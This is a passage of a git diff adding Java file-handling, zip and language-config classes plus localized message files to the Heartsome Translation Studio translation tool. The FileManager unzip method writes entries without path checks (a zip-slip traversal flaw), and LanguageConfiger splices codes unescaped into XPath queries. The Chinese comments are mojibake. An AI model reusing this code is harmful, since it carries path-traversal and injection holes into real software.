+file.XLFValidator.msg5 = Source language {1} of following XLIFF files and project source language {2} is inconsistent: \n{0}\n\nIf continue, the source language of XLIFF files will be used as project source language.\n\nAre your sure you want to continue to import? +file.XLFValidator.msgTitle2 = Confirm +file.XLFValidator.msg6 = The target language {1} of following XLIFF files is not one of project target language: \n{0}\n\nIf continue, the target language of XLIFF files will be used as project source language according to the default directory rules.\n\nAre your sure you want to continue to import? +file.XLFValidator.msg7 = The target language {1} of following XLIFF files is inconsistent with the default directory rules: \n{0}\n\nIf continue, the target language of XLIFF files will be used as project source language according to the default directory rules.\n\nAre your sure you want to continue to import? +file.XLFValidator.msg8 = An error occured when reading the XLIFF file. Please try again. +file.XLFValidator.logger1 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFValidator.msg9 = Please select XLIFF files. + +############################ 2012 - 08- 30 \u6dfb\u52a0 ######################################### +file.XLFValidator.toggleStateMsg = Do not ask me +# 2013-02-20 add by jason +file.XLFValidator.errorTitle = Error +file.XLFValidator.parseError = Unable to parse the file {0}. Please make sure the file is a HSXLIFF file, or re-convert source file to HSXLIFF, and then try again.\nIf the file is not generated by Heartsome Translation Studio 8, please try to save it in UTF-8 encoding with a text editor. diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message_zh.properties b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message_zh.properties new file mode 100644 index 0000000..9929089 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/core/resource/message_zh.properties @@ -0,0 +1,30 @@ +file.LanguageConfiger.logger1 = [LOG] \u66f4\u65b0\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.LanguageConfiger.logger2 = [LOG] \u5220\u9664\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.LanguageConfiger.logger3 = [LOG] \u6dfb\u52a0\u8bed\u8a00\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 + +util.CommonFunction.logger1 = [LOG] \u5fc5\u987b\u4e3a\u7edd\u5bf9\u8def\u5f84\u3002 +util.TextUtil.logger1 = [LOG] \u89e3\u6790\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 + +############################ 2012 - 08- 07 \u6dfb\u52a0 ######################################### +file.FileManager.msg1 = \u76ee\u5f55 {0} \u4e0d\u5b58\u5728\u3002 + +############################ 2012 - 08- 26 \u6dfb\u52a0\uff0c\u5c06 net.heartsome.cat.ts.core \u63d2\u4ef6\u4e2d\u8d44\u6e90\u6587\u4ef6\u7684\u4ee5\u4e0b\u5185\u5bb9\u526a\u5207\u5230\u6b64\u5904 ######################################### +file.XLFValidator.msgTitle = \u63d0\u793a +file.XLFValidator.msg1 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u5b58\u653e\u8def\u5f84\u4e0d\u89c4\u8303\uff1a\n{0}\n\n\u8bf7\u6309\u5982\u4e0b\u9ed8\u8ba4\u89c4\u5219\u5b58\u653e\uff1a\n/XLIFF/\u76ee\u6807\u8bed\u8a00\u4ee3\u7801/...\u5b50\u6587\u4ef6\u5939.../*.hsxliff\n\u4f8b\u5982\uff1a\u76ee\u6807\u8bed\u8a00\u4e3a\u4e2d\u6587\u7684 XLIFF \u5b58\u653e\u8def\u5f84\u4e3a /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg2 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u5b58\u653e\u8def\u5f84\u4e0d\u89c4\u8303\uff1a\n{0}\n\n\u8bf7\u6309\u5982\u4e0b\u9ed8\u8ba4\u89c4\u5219\u5b58\u653e\uff1a\n/XLIFF/\u76ee\u6807\u8bed\u8a00\u4ee3\u7801/...\u5b50\u6587\u4ef6\u5939.../*.hsxliff\n\u4f8b\u5982\uff1a\u76ee\u6807\u8bed\u8a00\u4e3a\u4e2d\u6587\u7684 XLIFF \u5b58\u653e\u8def\u5f84\u4e3a /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg3 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u5b58\u653e\u8def\u5f84\u4e0d\u89c4\u8303\uff1a\n{0}\n\n\u8bf7\u6309\u5982\u4e0b\u9ed8\u8ba4\u89c4\u5219\u5b58\u653e\uff1a\n/XLIFF/\u76ee\u6807\u8bed\u8a00\u4ee3\u7801/...\u5b50\u6587\u4ef6\u5939.../*.hsxliff\n\u4f8b\u5982\uff1a\u76ee\u6807\u8bed\u8a00\u4e3a\u4e2d\u6587\u7684 XLIFF \u5b58\u653e\u8def\u5f84\u4e3a /XLIFF/zh-CN/sample_file.hsxliff\u3002 +file.XLFValidator.msg4 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u5c1a\u672a\u8bbe\u7f6e\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u5c06\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u6e90\u8bed\u8a00 {1}\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msg5 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00 {1} \u4e0e\u9879\u76ee\u6e90\u8bed\u8a00 {2} \u4e0d\u4e00\u81f4\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u5c06\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u6e90\u8bed\u8a00\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msgTitle2 = \u786e\u8ba4 +file.XLFValidator.msg6 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00 {1} \u4e0d\u662f\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00\u4e4b\u4e00\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00\u5c06\u6309\u9ed8\u8ba4\u7684\u76ee\u5f55\u89c4\u5219\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00 {2}\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msg7 = \u5982\u4e0b XLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00 {1} \u4e0e\u9ed8\u8ba4\u7684\u76ee\u5f55\u89c4\u5219\u4e0d\u76f8\u7b26\uff1a\n{0}\n\n\u82e5\u7ee7\u7eed\u5904\u7406\uff0cXLIFF \u6587\u4ef6\u7684\u76ee\u6807\u8bed\u8a00\u5c06\u6309\u9ed8\u8ba4\u7684\u76ee\u5f55\u89c4\u5219\u88ab\u8bbe\u7f6e\u4e3a\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00 {2}\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5904\u7406\u5417\uff1f +file.XLFValidator.msg8 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +file.XLFValidator.logger1 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFValidator.msg9 = \u8bf7\u9009\u62e9 XLIFF \u6587\u4ef6\u3002 + +############################ 2012 - 08- 30 \u6dfb\u52a0 ######################################### +file.XLFValidator.toggleStateMsg = \u4e0d\u518d\u8be2\u95ee + +# 2013-02-20 add by jason +file.XLFValidator.errorTitle = \u9519\u8bef +file.XLFValidator.parseError = \u65e0\u6cd5\u89e3\u6790\u6587\u4ef6 {0}\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u4e3a HSXLIFF \u6587\u4ef6\uff0c\u6216\u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a HSXLIFF\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\u5982\u679c\u8be5\u6587\u4ef6\u4e0d\u662f\u7531 Heartsome Translation Studio 8 \u751f\u6210\u7684\uff0c\u8bf7\u5c1d\u8bd5\u7528\u6587\u672c\u7f16\u8f91\u5668\u4ee5 UTF-8 \u7f16\u7801\u53e6\u5b58\u540e\u91cd\u8bd5\u3002 diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/AbstractFileHandler.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/AbstractFileHandler.java new file mode 100644 index 0000000..083d3db --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/AbstractFileHandler.java @@ -0,0 +1,142 @@ +package net.heartsome.cat.common.file; + +import java.io.File; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +/** + * 一个抽象的文件处ç†ç±»ã€‚实现了文件处ç†æŽ¥å£ä¸­çš„创建文件历å²è®¿é—®åˆ—表方法。 + * + * @author John Zhu + * @see net.heartsome.cat.common.file.FileHandler + */ +public abstract class AbstractFileHandler { + /** + * 打开一个指定文件å称的文件。 + * @param filename è¦æ‰“开的文件å。 + * @return + * key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map openFile(String filename); + + /** + * 打开一个指定文件å称的文件。 + * @param filename è¦æ‰“开的文件å。 + * @param tuCount 已统计的翻译å•å…ƒæ•°ç›®ï¼Œç”¨äºŽé™åˆ¶ç¼“存大å°ã€‚默认为 0。 + * @return + * key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + protected abstract Map openFile(String filename,int tuCount); + + /** + * 打开一个指定文件实例的文件。 + * @param file è¦æ‰“开的文件实例。 + * @return + * key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map openFile(File file); + + /** + * 打开一个指定文件实例的文件。 + * @param file è¦æ‰“开的文件实例。 + * @param tuCount 已统计的翻译å•å…ƒæ•°ç›®ï¼Œç”¨äºŽé™åˆ¶ç¼“存大å°ã€‚默认为 0。 + * @return + * key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + protected abstract Map openFile(File file, int tuCount); + + /** + * 打开一组指定文件å称的文件。 + * @param files è¦æ‰“开的一组文件å。 + * @return + * key = result,value 为 String 类型, 返回打开文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map openFiles(List files); + + /** + * 关闭指定文件å称的文件。 + * @param filename è¦å…³é—­çš„文件å。 + * @return + * key = result,value 为 String 类型, 返回关闭文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map closeFile(String filename); + + /** + * 关闭指定文件实例的文件。 + * @param file è¦å…³é—­çš„文件实例。 + * @return + * key = result,value 为 String 类型, 返回关闭文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map closeFile(File file); + + /** + * 关闭一组指定文件å称的文件。 + * @param files è¦å…³é—­çš„一组文件å。 + * @return + * key = result,value 为 String 类型, 返回关闭文件的结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map closeFiles(List files); + + /** + * ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚ + * @param srcFile æºæ–‡ä»¶ã€‚
+ * @param tgtFile 目标文件。 + * @return + * key = result,value 为 String 类型, 返回ä¿å­˜æ–‡ä»¶çš„结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map saveFile(String srcFile,String tgtFile); + + /** + * ä¿å­˜æŒ‡å®šçš„æºæ–‡ä»¶ä¸ºç›®æ ‡æ–‡ä»¶ã€‚ + * @param srcFile æºæ–‡ä»¶å®žä¾‹ã€‚
+ * @param tgtFile 目标文件实例。 + * @return + * key = result,value 为 String 类型, 返回ä¿å­˜æ–‡ä»¶çš„结果。 1 æˆåŠŸï¼Œ 0 失败。
+ * key = errorMsg,value 为 String 类型,返回错误消æ¯ã€‚
+ * key = exception,value 为 Exception 类型,返回具体的异常实例。 + * */ + public abstract Map saveFile(File srcFile,File tgtFile); + + /** + * 创建文件历å²è®¿é—®åˆ—表。 + * @param initSize 容器åˆå§‹åŒ–大å°ã€‚ + * @param maxSize 容器最大大å°ã€‚ + * @return 返回一个åŒæ­¥çš„有åºçš„文件历å²è®¿é—®åˆ—表容器。
+ * key 为历å²è®¿é—®æ–‡ä»¶è·¯å¾„。
+ * value 为历å²è®¿é—®æ–‡ä»¶å…³é—­æ—¶ç„¦ç‚¹æ‰€åœ¨çš„文本段或是术语的索引。 + * */ + public Map createFileHistory(final int initSize, + final int maxSize) { + return Collections.synchronizedMap(new LinkedHashMap( + initSize, 0.75f, true) { + private static final long serialVersionUID = 1L; + + @SuppressWarnings("rawtypes") + public boolean removeEldestEntry(Map.Entry entry) { + return size() > maxSize; + } + + }); + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/FileManager.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/FileManager.java new file mode 100644 index 0000000..3aca280 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/FileManager.java @@ -0,0 +1,251 @@ +package net.heartsome.cat.common.file; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Enumeration; +import java.util.List; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.common.core.resource.Messages; + +/** + * 对文件进行æ“作的工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class FileManager { + + /** + * 创建压缩包 + * @param baseDir + * 所è¦åŽ‹ç¼©çš„根目录(包å«ç»å¯¹è·¯å¾„) + * @param zos + * @param removeFolderPath + * 所排除的目录å或文件å(此目录为 baseDir çš„å­ç›®å½•ï¼‰ + * @throws Exception + * ; + */ + public void createZip(String baseDir, ZipOutputStream zos, String removeFolderPath) throws Exception { + List lstRemoveFolderPath = new ArrayList(); + lstRemoveFolderPath.add(removeFolderPath); + createZip(baseDir, zos, lstRemoveFolderPath); + } + + /** + * 创建压缩包 + * @param baseDir + * 所è¦åŽ‹ç¼©çš„根目录(包å«ç»å¯¹è·¯å¾„) + * @param zos + * @param lstRemoveFolderPath + * 所排除的目录å或文件å集åˆï¼ˆç›®å½•ä¸º baseDir çš„å­ç›®å½•ï¼‰ + * @throws Exception + * ; + */ + public void createZip(String baseDir, ZipOutputStream zos, List lstRemoveFolderPath) throws Exception { + if (zos == null) { + return; + } + File folderObject = new File(baseDir); + if (folderObject.exists()) { + List fileList = getSubFiles(new File(baseDir), lstRemoveFolderPath); + ZipEntry ze = null; + byte[] buf = new byte[1024]; + int readLen = 0; + for (int i = 0; i < fileList.size(); i++) { + File f = (File) fileList.get(i); + + // 创建一个ZipEntry,并设置Name和其它的一些属性 + ze = new ZipEntry(getAbsFileName(baseDir, f)); + ze.setSize(f.length()); + ze.setTime(f.lastModified()); + + // å°†ZipEntry加到zos中,å†å†™å…¥å®žé™…的文件内容 + zos.putNextEntry(ze); + InputStream is = new BufferedInputStream(new FileInputStream(f)); + while ((readLen = is.read(buf, 0, 1024)) != -1) { + zos.write(buf, 0, readLen); + } + is.close(); + } + } else { + throw new Exception(MessageFormat.format(Messages.getString("file.FileManager.msg1"), + folderObject.getAbsolutePath())); + } + } + + /** + * 将文件添加到压缩包中 + * @param zos + * @param baseDir + * 压缩包目录å + * @param sourceFileName + * 压缩文件的ç»å¯¹è·¯å¾„ + * @throws Exception + * ; + */ + public void addFileToZip(ZipOutputStream zos, String baseDir, String sourceFileName) throws Exception { + if (zos == null) { + return; + } + File sourceFile = new File(sourceFileName); + byte[] buf = new byte[1024]; + ZipEntry ze = null; + // 创建一个ZipEntry,并设置Name和其它的一些属性 + ze = new ZipEntry(getAbsFileName(baseDir, sourceFile)); + ze.setSize(sourceFile.length()); + ze.setTime(sourceFile.lastModified()); + // å°†ZipEntry加到zos中,å†å†™å…¥å®žé™…的文件内容 + zos.putNextEntry(ze); + InputStream is = new BufferedInputStream(new FileInputStream(sourceFile)); + int readLen = -1; + while ((readLen = is.read(buf, 0, 1024)) != -1) { + zos.write(buf, 0, readLen); + } + zos.flush(); + is.close(); + zos.closeEntry(); + } + + /** + * 对压缩包解压 + * @param sourceZip + * 压缩包路径 + * @param outFileName + * 解压路径 + * @throws IOException + * ; + */ + public void releaseZipToFile(String sourceZip, String outFileName) throws IOException { + ZipFile zfile = new ZipFile(sourceZip); + @SuppressWarnings("rawtypes") + Enumeration zList = zfile.entries(); + ZipEntry ze = null; + byte[] buf = new byte[1024]; + while (zList.hasMoreElements()) { + // 从ZipFile中得到一个ZipEntry + ze = (ZipEntry) zList.nextElement(); + if (ze.isDirectory()) { + continue; + } + // 以ZipEntry为å‚数得到一个InputStream,并写到OutputStream中 + OutputStream os = new BufferedOutputStream(new FileOutputStream(getRealFileName(outFileName, ze.getName()))); + InputStream is = new BufferedInputStream(zfile.getInputStream(ze)); + int readLen = 0; + while ((readLen = is.read(buf, 0, 1024)) != -1) { + os.write(buf, 0, readLen); + } + is.close(); + os.close(); + } + zfile.close(); + } + + /** + * å–得指定目录下的所有文件列表,包括å­ç›®å½•. + * @param baseDir + * File 指定的目录 + * @param lstRemoveFolerPath + * 排除的目录å或文件å + * @return 包å«java.io.Fileçš„List + */ + public List getSubFiles(File baseDir, List lstRemoveFolerPath) { + List ret = new ArrayList(); + // File base=new File(baseDir); + File[] tmp = baseDir.listFiles(); + String filePath; + tmpLoop: for (int i = 0; i < tmp.length; i++) { + filePath = tmp[i].getAbsolutePath(); + if (lstRemoveFolerPath != null && lstRemoveFolerPath.size() > 0) { + for (String path : lstRemoveFolerPath) { + if (filePath.startsWith(path)) { + continue tmpLoop; + } + } + } + if (tmp[i].isFile()) { + ret.add(tmp[i]); + } + if (tmp[i].isDirectory()) { + ret.addAll(getSubFiles(tmp[i], lstRemoveFolerPath)); + } + } + return ret; + } + + /** + * 给定根目录,返回一个相对路径所对应的实际文件å. + * @param baseDir + * 指定根目录 + * @param absFileName + * 相对路径å,æ¥è‡ªäºŽZipEntry中的name + * @return java.io.File 实际的文件 + */ + private File getRealFileName(String baseDir, String absFileName) { + String[] dirs = absFileName.split("/"); + File ret = new File(baseDir); + if (dirs.length > 1) { + for (int i = 0; i < dirs.length - 1; i++) { + ret = new File(ret, dirs[i]); + } + } + if (!ret.exists()) { + ret.mkdirs(); + } + ret = new File(ret, dirs[dirs.length - 1]); + return ret; + } + + /** + * 给定根目录,返回å¦ä¸€ä¸ªæ–‡ä»¶å的相对路径,用于zip文件中的路径. + * @param baseDir + * java.lang.String 根目录 + * @param realFileName + * java.io.File 实际的文件å + * @return 相对文件å + */ + private String getAbsFileName(String baseDir, File realFileName) { + File real = realFileName; + File base = new File(baseDir); + String ret = real.getName(); + while (true) { + real = real.getParentFile(); + if (real == null) + break; + if (real.equals(base)) + break; + else { + ret = real.getName() + "/" + ret; + } + } + return ret; + } + + /** + * 删除文件,如果 file 代表的为目录,则删除此目录和目录下的所有文件 + * @param file + */ + public void deleteFileOrFolder(File file) { + if (file.exists()) { + if (file.isFile()) { + file.delete(); + } else if (file.isDirectory()) { + File files[] = file.listFiles(); + for (int i = 0; i < files.length; i++) { + this.deleteFileOrFolder(files[i]); + } + } + file.delete(); + } + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/LanguageConfiger.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/LanguageConfiger.java new file mode 100644 index 0000000..7fb9223 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/LanguageConfiger.java @@ -0,0 +1,258 @@ +/** + * LangugeConfiger.java + * + * Version information : + * + * Date:Mar 20, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.file; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.core.CoreActivator; +import net.heartsome.cat.common.core.resource.Messages; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.FileLocator; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 语言é…置,实现从é…置文件中存å–相应的语言é…置,语言code唯一 + * @author Jason + * @version + * @since JDK1.6 + */ +public class LanguageConfiger { + + private VTDUtils vu; + private File langConfigFile; + private AutoPilot ap; + private static final Logger LOGGER = LoggerFactory.getLogger(LanguageConfiger.class); + + /** + * 构造器,如果文件ä¸å­˜åœ¨å…ˆæž„建文件,å†ç”¨vtd解æž. + */ + public LanguageConfiger() { + String bundlePath; + try { + bundlePath = FileLocator.toFileURL(CoreActivator.getDefault().getBundle().getEntry("")).getPath(); + this.langConfigFile = new File(bundlePath + CoreActivator.LANGUAGE_CODE_PATH); + } catch (IOException e) { + LOGGER.error("", e); + } + parseFile(); + } + + private void parseFile() { + VTDGen vg = new VTDGen(); + try { + if (vg.parseFile(langConfigFile.getPath(), true)) { + vu = new VTDUtils(vg.getNav()); + ap = new AutoPilot(vu.getVTDNav()); + } else { + throw new ParseException(); + } + } catch (NavException e) { + LOGGER.error("", e); + } catch (ParseException e) { + LOGGER.error("", e); + } + } + + /** + * 返回所有语言列表,key:code,value:Language + */ + public Map getAllLanguage() { + Map result = new HashMap(); + AutoPilot tempAp = new AutoPilot(vu.getVTDNav()); + String codeAttr = "code"; + String bidiAttr = "bidi"; + String imgAttr = "image"; + String bidiYes = "Yes"; + try { + tempAp.selectXPath("/languages/lang"); + while (tempAp.evalXPath() != -1) { + Map attrs = vu.getCurrentElementAttributs(); + String code = attrs.get(codeAttr); + String bidi = attrs.get(bidiAttr); + String img = attrs.get(imgAttr); + String langName = vu.getElementPureText(); + boolean isBidi = false; + if (code != null && langName != null) { + if (bidi != null && bidi.equals(bidiYes)) { + isBidi = true; + } + result.put(code, new Language(code, langName, img == null ? "" : img, isBidi)); + } + } + } catch (XPathParseException e) { + LOGGER.error("", e); + } catch (XPathEvalException e) { + LOGGER.error("", e); + } catch (NavException e) { + LOGGER.error("", e); + } + return result; + } + + /** + * 返回Code对应的Language对象,如果在é…置中找到则返回null + * @param code + * @return ; + */ + public Language getLanguageByCode(String code) { + AutoPilot tempAp = new AutoPilot(vu.getVTDNav()); + String bidiAttr = "bidi"; + String imgAttr = "image"; + String bidiYes = "Yes"; + try { + tempAp.selectXPath("/languages/lang[@code='" + code + "']"); + if (tempAp.evalXPath() != -1) { + Map attrs = vu.getCurrentElementAttributs(); + String bidi = attrs.get(bidiAttr); + String img = attrs.get(imgAttr); + String langName = vu.getElementPureText(); + boolean isBidi = false; + if (code != null && langName != null) { + if (bidi != null && bidi.equals(bidiYes)) { + isBidi = true; + } + return new Language(code, langName, img == null ? "" : img, isBidi); + } + } + } catch (XPathParseException e) { + LOGGER.error("", e); + } catch (XPathEvalException e) { + LOGGER.error("", e); + } catch (NavException e) { + LOGGER.error("", e); + } + return null; + } + + /** + * 返回一组语言Code对应的Language对象,如果此Code在语言é…置中未找到,此Language对象åªä¿å­˜Code + * @param codeList + * @return ; + */ + public List getLanuagesByCodes(List codeList) { + List result = new ArrayList(); + for (String code : codeList) { + Language lang = getLanguageByCode(code); + if (lang == null) { + lang = new Language(code, "", "", false); + } + result.add(lang); + } + return result; + } + + /** + * 通过Code,更新一ç§è¯­è¨€ + * @param code + * è¯­è¨€ä»£ç  + * @param newLanguage + * æ›´æ–°åŽçš„语言; + */ + public void updateLanguageByCode(String code, Language newLanguage) { + String newValue = generateLangNode(newLanguage); + XMLModifier xm = vu.update("/languages/lang[@code='" + code + "']", newValue); + try { + vu.bind(xm.outputAndReparse()); + saveToFile(xm, langConfigFile); + } catch (Exception e) { + LOGGER.error(Messages.getString("file.LanguageConfiger.logger1"), e); + } + } + + public void deleteLanguageByCode(String code) { + if (code != null && !code.equals("")) { + try { + XMLModifier xm = vu.delete("/languages/lang[@code='" + code + "']"); + vu.bind(xm.outputAndReparse()); + saveToFile(xm, langConfigFile); + } catch (Exception e) { + LOGGER.error(Messages.getString("file.LanguageConfiger.logger2"), e); + } + } + } + + /** + * 添加一ç§è¯­è¨€ + * @param newLanguage + * ; + */ + public void addLanguage(Language newLanguage) { + String content = generateLangNode(newLanguage); + if (!content.equals("")) { + try { + XMLModifier xm = vu.insert("/languages/text()", content); + vu.bind(xm.outputAndReparse()); + saveToFile(xm, langConfigFile); + } catch (Exception e) { + LOGGER.error(Messages.getString("file.LanguageConfiger.logger3"), e); + } + ap.resetXPath(); + } + } + + private String generateLangNode(Language language) { + String img = language.getImagePath(); + if (img == null) { + img = ""; + } + return "" + + language.getName() + ""; + } + + /** + * ä¿å­˜æ–‡ä»¶ + * @param xm + * XMLModifier对象 + * @param fileName + * 文件å + * @return 是å¦ä¿å­˜æˆåŠŸ; + */ + private boolean saveToFile(XMLModifier xm, File file) { + try { + FileOutputStream fos = new FileOutputStream(file); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + return true; + } catch (ModifyException e) { + LOGGER.error("", e); + } catch (TranscodeException e) { + LOGGER.error("", e); + } catch (IOException e) { + LOGGER.error("", e); + } + + return false; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/XLFValidator.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/XLFValidator.java new file mode 100644 index 0000000..3ee607c --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/file/XLFValidator.java @@ -0,0 +1,423 @@ +/** + * XlLFValidator.java + * + * Version information : + * + * Date:2012-5-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package 